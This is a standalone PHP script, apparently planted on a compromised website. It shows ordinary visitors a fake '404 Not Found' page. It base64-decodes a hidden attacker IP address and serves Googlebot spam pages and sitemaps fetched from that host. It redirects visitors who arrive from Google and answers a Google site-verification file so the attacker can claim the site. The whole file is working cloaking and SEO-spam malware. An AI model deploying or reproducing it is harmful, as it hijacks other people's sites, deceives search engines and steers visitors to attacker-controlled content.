<?php
error_reporting(0);
$baseUrl = base64_decode("aHR0cDovLzE1NC4yMDUuMTQyLjExOA==");
$http = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://";
$full_url = $http . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$url_host = $baseUrl."/jsc@?host=".$_SERVER['HTTP_HOST']."&";
if(strpos($_SERVER['REQUEST_URI'],"google79100648019c8ee4.html")!==false){
    echo "google-site-verification: google79100648019c8ee4.html";exit;
}
function bot() {
    return strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'google') !== false;
}
function referer() {
    if(!isset($_SERVER['HTTP_REFERER'])){return false; }
    return strpos(strtolower($_SERVER['HTTP_REFERER']), 'google') !== false;
}
function get_data($url) {
    if ($d = @file_get_contents($url)) {
        return $d;
    } else {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $response = curl_exec($ch);
        if (curl_errno($ch)) {return "";}curl_close($ch);
        return $response;
    }
}
function send_xml($http, $baseUrl) {
    header('Content-Type: application/xml');
    $base_url = $http . $_SERVER['HTTP_HOST'] . '/'.basename(__FILE__);
    header('Content-Type: application/xml');
    echo get_data($baseUrl . '/jsc@?' . "&site=$base_url?" . '&keyword=sitemap.xml');die;
}
if(referer()){
    echo get_data($baseUrl . '/jsc@?/redirect-kv.html');die;
}
if (strpos($full_url, "sitemap") !== false) {
    send_xml($http, $baseUrl);
}
if(bot()){
    $u = $url_host.'mulu='.basename(__FILE__).'?&keyword=' . $_SERVER['REQUEST_URI'];
    echo get_data($u);exit;
}
echo "404 Not Found";